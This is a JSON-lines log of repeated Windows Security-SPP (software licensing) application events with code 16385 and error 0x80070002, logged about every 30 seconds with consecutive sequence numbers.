{"@timestamp":1659050855725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173680}}
{"@timestamp":1659050885733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173681}}
{"@timestamp":1659050915741,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173682}}
{"@timestamp":1659050945749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173683}}
{"@timestamp":1659050975757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173684}}
{"@timestamp":1659051005764,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173685}}
{"@timestamp":1659051035771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173686}}
{"@timestamp":1659051065779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173687}}
{"@timestamp":1659051095786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173688}}
{"@timestamp":1659051125793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173689}}
{"@timestamp":1659051155801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173690}}
{"@timestamp":1659051185808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173691}}
{"@timestamp":1659051215816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173692}}
{"@timestamp":1659051245822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173693}}
{"@timestamp":1659051275830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173694}}
{"@timestamp":1659051305836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173695}}
{"@timestamp":1659051335843,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173696}}
{"@timestamp":1659051365851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173697}}
{"@timestamp":1659051395858,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173698}}
{"@timestamp":1659051425865,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173699}}
{"@timestamp":1659051455871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173700}}
{"@timestamp":1659051485877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173701}}
{"@timestamp":1659051515883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173702}}
{"@timestamp":1659051545890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173703}}
{"@timestamp":1659051575897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173704}}
{"@timestamp":1659051605904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173705}}
{"@timestamp":1659051635911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173706}}
{"@timestamp":1659051665918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173707}}
{"@timestamp":1659051695924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173708}}
{"@timestamp":1659051725931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173709}}
{"@timestamp":1659051755937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173710}}
{"@timestamp":1659051785943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173711}}
{"@timestamp":1659051815951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173712}}
{"@timestamp":1659051845956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173713}}
{"@timestamp":1659051875964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173714}}
{"@timestamp":1659051905970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173715}}
{"@timestamp":1659051935975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173716}}
{"@timestamp":1659051965985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173717}}
{"@timestamp":1659051995991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:35Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173718}}
{"@timestamp":1659052025998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:05Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173719}}
{"@timestamp":1659052056005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173720}}
{"@timestamp":1659052086012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173721}}
{"@timestamp":1659052116018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173722}}
{"@timestamp":1659052146024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173723}}
{"@timestamp":1659052176032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173724}}
{"@timestamp":1659052206038,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173725}}
{"@timestamp":1659052236046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173726}}
{"@timestamp":1659052266052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173727}}
{"@timestamp":1659052296060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173728}}
{"@timestamp":1659052326066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173729}}
{"@timestamp":1659052356072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173730}}
{"@timestamp":1659052386078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173731}}
{"@timestamp":1659052416086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173732}}
{"@timestamp":1659052446092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173733}}
{"@timestamp":1659052476099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173734}}
{"@timestamp":1659052506106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173735}}
{"@timestamp":1659052536114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173736}}
{"@timestamp":1659052566120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173737}}
{"@timestamp":1659052596127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173738}}
{"@timestamp":1659052626133,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173739}}
{"@timestamp":1659052656139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173740}}
{"@timestamp":1659052686147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173741}}
{"@timestamp":1659052716155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173742}}
{"@timestamp":1659052746161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173743}}
{"@timestamp":1659052776167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173744}}
{"@timestamp":1659052806174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173745}}
{"@timestamp":1659052836179,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173746}}
{"@timestamp":1659052866185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173747}}
{"@timestamp":1659052896192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173748}}
{"@timestamp":1659052926198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173749}}
{"@timestamp":1659052956204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173750}}
{"@timestamp":1659052986210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173751}}
{"@timestamp":1659053016216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173752}}
{"@timestamp":1659053046222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173753}}
{"@timestamp":1659053076230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173754}}
{"@timestamp":1659053106237,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173755}}
{"@timestamp":1659053136243,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173756}}
{"@timestamp":1659053166249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173757}}
{"@timestamp":1659053196255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173758}}
{"@timestamp":1659053226261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173759}}
{"@timestamp":1659053256267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173760}}
{"@timestamp":1659053286273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173761}}
{"@timestamp":1659053316280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173762}}
{"@timestamp":1659053346286,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173763}}
{"@timestamp":1659053376294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173764}}
{"@timestamp":1659053406300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173765}}
{"@timestamp":1659053436307,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173766}}
{"@timestamp":1659053466313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173767}}
{"@timestamp":1659053496319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173768}}
{"@timestamp":1659053526326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173769}}
{"@timestamp":1659053556333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173770}}
{"@timestamp":1659053586338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173771}}
{"@timestamp":1659053616344,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173772}}
{"@timestamp":1659053646350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173773}}
{"@timestamp":1659053676358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173774}}
{"@timestamp":1659053706364,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173775}}
{"@timestamp":1659053736369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173776}}
{"@timestamp":1659053766376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173777}}
{"@timestamp":1659053796382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173778}}
{"@timestamp":1659053826389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173779}}
{"@timestamp":1659053856396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173780}}
{"@timestamp":1659053886402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173781}}
{"@timestamp":1659053916408,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173782}}
{"@timestamp":1659053946415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173783}}
{"@timestamp":1659053976421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173784}}
{"@timestamp":1659054006427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173785}}
{"@timestamp":1659054036433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173786}}
{"@timestamp":1659054066439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:06Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173787}}
{"@timestamp":1659054096445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:36Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":173788}}
